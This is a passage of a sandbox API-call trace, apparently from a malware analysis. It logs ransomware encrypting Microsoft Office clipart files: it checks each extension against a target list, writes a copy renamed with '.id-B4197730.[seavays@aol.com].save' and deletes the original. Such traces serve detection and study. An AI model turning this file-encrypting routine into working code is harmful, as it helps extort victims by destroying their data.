Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0062.584] lstrlenW (lpString=".zip") returned 4 [0062.584] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.584] lstrlenW (lpString=".rar") returned 4 [0062.584] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.584] lstrlenW (lpString=".bz2") returned 4 [0062.584] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.584] lstrlenW (lpString=".7z") returned 3 [0062.584] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0062.584] lstrlenW (lpString=".dbf") returned 4 [0062.584] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0062.584] lstrlenW (lpString=".1cd") returned 4 [0062.584] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.584] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0062.584] lstrlenW (lpString=".jpg") returned 4 [0062.584] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.584] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0062.584] lstrlenW (lpString="AN00010_.WMF") returned 12 [0062.584] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0062.585] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=3026) returned 1 [0062.585] CloseHandle (hObject=0x2fc) returned 1 [0062.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 0x220 [0062.585] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0062.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0062.585] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.585] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0062.585] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0062.585] GetLastError () returned 0x0 [0062.585] ReadFile (in: hFile=0x2fc, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0xbd2, lpOverlapped=0x0) returned 1 [0063.025] WriteFile (in: hFile=0x2e8, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xbe0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xbe0, lpOverlapped=0x0) returned 1 [0063.027] ReadFile (in: hFile=0x2fc, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0063.027] WriteFile (in: hFile=0x2e8, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0063.027] SetEndOfFile (hFile=0x2e8) returned 1 [0063.027] CloseHandle (hObject=0x2e8) returned 1 [0063.028] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.028] SetEndOfFile (hFile=0x2fc) returned 1 [0063.029] CloseHandle (hObject=0x2fc) returned 1 [0063.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0063.030] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00010_.wmf")) returned 1 [0063.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0063.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0063.030] lstrlenW (lpString=".doc") returned 4 [0063.030] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.030] lstrlenW (lpString=".docx") returned 5 [0063.030] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.030] lstrlenW (lpString=".pdf") returned 4 [0063.030] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.030] lstrlenW (lpString=".xls") returned 4 [0063.030] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.030] lstrlenW (lpString=".xlsx") returned 5 [0063.030] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.030] lstrlenW (lpString=".ppt") returned 4 [0063.030] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0063.031] lstrlenW (lpString=".zip") returned 4 [0063.031] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.031] lstrlenW (lpString=".rar") returned 4 [0063.031] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.031] lstrlenW (lpString=".bz2") returned 4 [0063.031] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.031] lstrlenW (lpString=".7z") returned 3 [0063.031] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0063.031] lstrlenW (lpString=".dbf") returned 4 [0063.031] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0063.031] lstrlenW (lpString=".1cd") returned 4 [0063.031] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0063.031] lstrlenW (lpString=".jpg") returned 4 [0063.031] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0063.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0063.031] lstrlenW (lpString=".doc") returned 4 [0063.031] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.031] lstrlenW (lpString=".docx") returned 5 [0063.031] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.031] lstrlenW (lpString=".pdf") returned 4 [0063.031] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.031] lstrlenW (lpString=".xls") returned 4 [0063.031] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.031] lstrlenW (lpString=".xlsx") returned 5 [0063.031] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.031] lstrlenW (lpString=".ppt") returned 4 [0063.031] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0063.031] lstrlenW (lpString=".zip") returned 4 [0063.032] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.032] lstrlenW (lpString=".rar") returned 4 [0063.032] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.032] lstrlenW (lpString=".bz2") returned 4 [0063.032] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.032] lstrlenW (lpString=".7z") returned 3 [0063.032] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0063.032] lstrlenW (lpString=".dbf") returned 4 [0063.032] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0063.032] lstrlenW (lpString=".1cd") returned 4 [0063.032] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00010_.WMF") returned 68 [0063.032] lstrlenW (lpString=".jpg") returned 4 [0063.032] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.032] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0063.032] lstrlenW (lpString="AN01084_.WMF") returned 12 [0063.032] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0063.082] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=1832) returned 1 [0063.082] CloseHandle (hObject=0x2fc) returned 1 [0063.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 0x220 [0063.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0063.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0063.082] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.082] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.082] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0063.088] GetLastError () returned 0x0 [0063.115] ReadFile (in: hFile=0x2fc, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x728, lpOverlapped=0x0) returned 1 [0063.116] WriteFile (in: hFile=0x384, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x730, lpOverlapped=0x0) returned 1 [0063.117] ReadFile (in: hFile=0x2fc, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0063.117] WriteFile (in: hFile=0x384, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0063.117] SetEndOfFile (hFile=0x384) returned 1 [0063.117] CloseHandle (hObject=0x384) returned 1 [0063.118] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.118] SetEndOfFile (hFile=0x2fc) returned 1 [0063.119] CloseHandle (hObject=0x2fc) returned 1 [0063.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0063.119] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01084_.wmf")) returned 1 [0063.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0063.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0063.120] lstrlenW (lpString=".doc") returned 4 [0063.120] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.120] lstrlenW (lpString=".docx") returned 5 [0063.120] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.120] lstrlenW (lpString=".pdf") returned 4 [0063.120] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.120] lstrlenW (lpString=".xls") returned 4 [0063.120] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.120] lstrlenW (lpString=".xlsx") returned 5 [0063.120] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.120] lstrlenW (lpString=".ppt") returned 4 [0063.120] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0063.120] lstrlenW (lpString=".zip") returned 4 [0063.120] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.120] lstrlenW (lpString=".rar") returned 4 [0063.120] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.120] lstrlenW (lpString=".bz2") returned 4 [0063.120] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.120] lstrlenW (lpString=".7z") returned 3 [0063.120] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0063.120] lstrlenW (lpString=".dbf") returned 4 [0063.120] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0063.120] lstrlenW (lpString=".1cd") returned 4 [0063.120] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.120] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0063.120] lstrlenW (lpString=".jpg") returned 4 [0063.120] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0063.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0063.121] lstrlenW (lpString=".doc") returned 4 [0063.121] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.121] lstrlenW (lpString=".docx") returned 5 [0063.121] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.121] lstrlenW (lpString=".pdf") returned 4 [0063.121] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.121] lstrlenW (lpString=".xls") returned 4 [0063.121] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.121] lstrlenW (lpString=".xlsx") returned 5 [0063.121] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.121] lstrlenW (lpString=".ppt") returned 4 [0063.121] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0063.121] lstrlenW (lpString=".zip") returned 4 [0063.121] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.121] lstrlenW (lpString=".rar") returned 4 [0063.121] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.121] lstrlenW (lpString=".bz2") returned 4 [0063.121] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.121] lstrlenW (lpString=".7z") returned 3 [0063.121] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0063.121] lstrlenW (lpString=".dbf") returned 4 [0063.121] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0063.121] lstrlenW (lpString=".1cd") returned 4 [0063.121] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 68 [0063.121] lstrlenW (lpString=".jpg") returned 4 [0063.121] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.122] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0063.122] lstrlenW (lpString="AN01173_.WMF") returned 12 [0063.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0063.123] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x364ff14 | out: lpFileSize=0x364ff14*=26332) returned 1 [0063.123] CloseHandle (hObject=0x2fc) returned 1 [0063.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 0x220 [0063.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0063.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0063.123] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.123] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0063.124] GetLastError () returned 0x0 [0063.124] ReadFile (in: hFile=0x2fc, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x66dc, lpOverlapped=0x0) returned 1 [0063.126] WriteFile (in: hFile=0x384, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0x66e0, lpOverlapped=0x0) returned 1 [0063.127] ReadFile (in: hFile=0x2fc, lpBuffer=0x403d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x364fecc, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesRead=0x364fecc*=0x0, lpOverlapped=0x0) returned 1 [0063.127] WriteFile (in: hFile=0x384, lpBuffer=0x403d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x364fc94, lpOverlapped=0x0 | out: lpBuffer=0x403d020*, lpNumberOfBytesWritten=0x364fc94*=0xec, lpOverlapped=0x0) returned 1 [0063.127] SetEndOfFile (hFile=0x384) returned 1 [0063.127] CloseHandle (hObject=0x384) returned 1 [0063.129] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x364fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.130] SetEndOfFile (hFile=0x2fc) returned 1 [0063.130] CloseHandle (hObject=0x2fc) returned 1 [0063.131] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0063.131] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an01173_.wmf")) returned 1 [0063.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0063.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0063.131] lstrlenW (lpString=".doc") returned 4 [0063.131] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.131] lstrlenW (lpString=".docx") returned 5 [0063.131] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.131] lstrlenW (lpString=".pdf") returned 4 [0063.131] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.131] lstrlenW (lpString=".xls") returned 4 [0063.131] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.132] lstrlenW (lpString=".xlsx") returned 5 [0063.132] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.132] lstrlenW (lpString=".ppt") returned 4 [0063.132] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0063.132] lstrlenW (lpString=".zip") returned 4 [0063.132] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.132] lstrlenW (lpString=".rar") returned 4 [0063.132] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.132] lstrlenW (lpString=".bz2") returned 4 [0063.132] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.132] lstrlenW (lpString=".7z") returned 3 [0063.132] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0063.132] lstrlenW (lpString=".dbf") returned 4 [0063.132] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0063.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0063.132] lstrlenW (lpString=".1cd") returned 4 [0063.132] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0063.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0063.132] lstrlenW (lpString=".jpg") returned 4 [0063.132] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0063.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0063.132] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0063.132] lstrlenW (lpString=".doc") returned 4 [0063.132] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0063.132] lstrlenW (lpString=".docx") returned 5 [0063.132] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0063.132] lstrlenW (lpString=".pdf") returned 4 [0063.132] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0063.132] lstrlenW (lpString=".xls") returned 4 [0063.132] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0063.133] lstrlenW (lpString=".xlsx") returned 5 [0063.133] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0063.133] lstrlenW (lpString=".ppt") returned 4 [0063.133] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0063.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 68 [0063.133] lstrlenW (lpString=".zip") returned 4 [0063.133] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0063.133] lstrlenW (lpString=".rar") returned 4 [0063.133] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0063.133] lstrlenW (lpString=".bz2") returned 4 [0063.133] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0063.133] lstrlenW (lpString=".7z") returned 3 [0063.133] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0063.133] lstrlenW (lpString="C:\\Program Files\\Microsoft 